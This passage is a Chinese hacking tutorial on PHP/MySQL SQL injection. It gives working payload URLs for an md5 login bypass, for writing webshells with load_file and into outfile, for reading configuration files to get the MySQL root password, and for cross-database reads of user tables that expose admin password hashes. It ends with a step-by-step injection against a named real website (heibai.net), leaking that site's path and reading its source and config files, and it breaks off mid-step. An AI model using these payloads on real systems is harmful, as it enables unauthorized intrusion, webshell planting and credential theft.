4. md5的惡夢
山東大學的王博士最近可是搞md5搞的紅透了,我們也來搞一搞吧,我們比他更爽,不用計算,哈哈。
md5我們是有辦法繞過的,但是並不是哪裡都可以,php中的md5函數就不能繞過,因為你輸入的所有東西都在裡面,根本跑不出。可以繞過的是sql語句中的md5。當然別的sql中的函數也是可以繞過的,道理相同哦。
看例子先:
//login.php
......
$query="select * from alphaauthor where UserName=md5($username) and Password= ".$Pw." ";
......
?>
我們直接在瀏覽器提交
http:/login.php?username=char(97,98)) or 1=1 %23
帶入sql語句成為select * from alphaauthor where UserName=md5(char(97,98)) or 1=1 #) and Password= ".$Pw."
記得md5裡面放的是字元,因為後面有or 1=2,所以我們隨便放了個char(97,98). Ok,登陸成功了哦!看看,md5在我們面前也沒有什麼用處。
5. 核心技術,利用php+mysql注入漏洞直接寫入webshell。。
直接利用注入得到webshell,這應該是大家都很想的吧,下面就教給你。
這裡假設你已經知道了網站所在的實體路徑,我這裡假設網站路徑為c:/apache/htdocs/site。網站的mysql串連資訊放在/lib/sql.inc.php裡
1)適用於magic_quotes_gpc=Off
假設我們可以上傳圖片,或者txt,zip,等其它東西,我們把我們的木馬改成
jpg尾碼的,上傳後路徑為/upload/2004091201.jpg
2004091201.jpg中的內容為
好,我們開始http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file( C:/apache/htdocs/site/upload/2004091201.jpg ),4,5,6,7,8,9,10,11%20into%20outfile C:/apache/htdocs/site/shell.php
因為適用了outfile,所以網頁顯示不正常,但是我們的任務是完成了。
如圖28
我們趕快去看看http://localhost/site/shell.php?cmd=dir
如圖29
爽否?Webshell我們已經建立成功了。看到最前面的12了沒?那就是我們select 1,2所輸出的!
2)下面再講一個適用於magic_quotes_gpc=On的時候儲存webshell的方法哦,顯然肯定也能用在於magic_quotes_gpc=Off的時候啦。
我們直接讀他的設定檔,用技巧2介紹的方法
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file(0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870)
,4,5,6,7,8,9,10,11
得到sql.inc.php內容為
好了我們知道了mysql的root密碼了,我們找到phpmyadmin的後台
http://localhost/phpmyadmin/
用root密碼為空白登陸。
如圖30
然後我們建立立一個表結構內容如下:
#
# 資料表的結構 `te`
#
CREATE TABLE te (
cmd text NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
#
# 匯出下面的資料庫內容 `te`
#
INSERT INTO te VALUES ( );
Ok,是我們用select * from table into outfile 的時候了
直接在phpmyadmin的sql輸入
SELECT * FROM `te` into outfile C:/apache/htdocs/site/cmd1.php ;
如圖31
Ok,成功執行,我們去http://localhost/site/cmd1.php?cmd=dir看看效果去
如圖32
好爽的一個webshell是吧!哈哈,我也很喜歡。
不過不知道大家有沒有發現我們是在magic_quotes_gpc=On的情況下完成這項工作的,竟然在phpmyadmin裡可以不用考慮引號的限制,哈哈,說明什嗎?說明phpmyadmin太偉大了,這也就是我們在談magic_quotes_gpc=On繞過時所賣的那個關子啦!
6.發現沒有我們還可以利用update和insert來插入我們的資料,然後來得到我們的webshell哦,還用上面的那個例子,
//reg.php
......
$query = "INSERT INTO members
VALUES( $id , $login , $pass , $email , 2 )" ;
......
?>
我們在email的地方輸入
假設我們註冊後的id為10
那麼我們可以再找到一個可以注入的地方
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,email,4,5,6,7,8,9,10,11%20from%20user%20where%20id=10%20 into%20outfile C:/apache/htdocs/site/test.php
好了,我們又有了我們的wenshell了哦。
7.mysql的跨庫查詢
大家是不是一直聽說mysql不能跨庫查詢啊,哈哈,今天我將要教大家一個好方法,通過這個方法來實現變相的跨庫查詢,方法就是通過load_file來直接讀出mysql中dat
a檔案夾下的檔案內容,從而實現變態跨庫查詢。
舉個例子啦
在這之前我們先講一下mysql的data檔案夾下的結構
Data檔案夾下有按資料庫名產生的檔案夾,檔案夾下按照表名產生三個尾碼為frm,myd,myi的三個檔案,例如
Mysql中有alpha資料庫,在alpha庫中有alphaauthor和alphadb兩個表,
Alpha檔案夾內容如下圖33
其中alphadb.frm放著lphadb表中的資料,alphadb.frm放著表的結構,alphadb.myi中放的內容隨mysql的版本不通會有所不同,具體可以自己用記事本開啟來判斷。
實驗開始
假設我們知道有另外的一個資料庫yminfo210存在,且存在表user,user中放這admin的資訊。
我們
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file( yminfo210/user.myd ),4,5,6,7,8,9,10,11
說明一下,load_file預設所在的目錄是mysql下的data目錄,所以我們用
load_file( yminfo210/user.myd ),當然load_file( .info210/user.myd )也是一樣的,注意的是into outfile的預設路徑是在所在的資料庫檔案夾下。
結果如圖34
我們看讀出來的內容
舼? admin 698d51a19d8a121ce581499d7b701668 admin@yoursite.comadmin question admin answer http://www.yoursite.com (?靃?KA靃?靃? 127.0.0.1 d|?? aaa 3dbe00a167653a1aaee01d93e77e730e sdf@sd.com sdfasdfsdfa asdfadfasd ?E麷AM麷A 127.0.0.1 222 222222223423
雖然亂碼一堆,但是我們還是可以看出使用者名稱是admin,密碼是698d51a19d8a121ce581499d7b701668,後面其它的是另外的資訊。
通過這種方法我們就實現了曲線跨庫,下面的例子中也會提到哦!
說了這麼多下面我們來具體的使用一次,這次測試的對象是國內一著名安全類網站――黑白網路
聽人家說黑白有漏洞?我們一起去看看吧。
http://www.heibai.net/down/show.php?id=5403%20and%201=1
正常顯示。
如圖35
http://www.heibai.net/down/show.php?id=5403%20and%201=2
顯示不正常。
如圖36
好,我們繼續
http://www.heibai.net/down/show.php?id=5403%20and%201=1 union select 1
顯示結果如下
如圖37
注意看圖中沒有顯示程式名,而且還附帶了
Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in D:\web\heibai\down\show.php on line 45
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in D:\web\heibai\down\global.php on line 578
暈了,網站路徑出來了,那可就死定了哦!
我們繼續,直到我們猜到
http://www.heibai.net/down/show.php?id=5403%20and%201=1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
的時候正常顯示了。
如圖38
好我們轉換語句成為
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
顯示如圖39
看看簡介處顯示為12,我們可以猜測此處應該為字元型!
Ok,我們下面看看檔案內容先
D:/web/heibai/down/show.php轉化成ascii後為
char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,115,
104,111,119,46,112,104,112)
我們
view-source:http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,115,104,
111,119,46,112,104,112)),13,14,15,16,17,18,19
view-source:是指察看原始碼,至於為什麼用,我們後面將講到
顯示出它的原始碼
如圖40
因為在show.php中有一句
如果我們直接在瀏覽器裡提交會跳轉到list.php
我們發現這句require ("./include/config.inc.php");
好東西,應該放這設定檔,ok繼續
d:/web/heibai/down/include/config.inc.php
轉化成char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,105
,110,99,108,117,100,101,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112)
我們輸入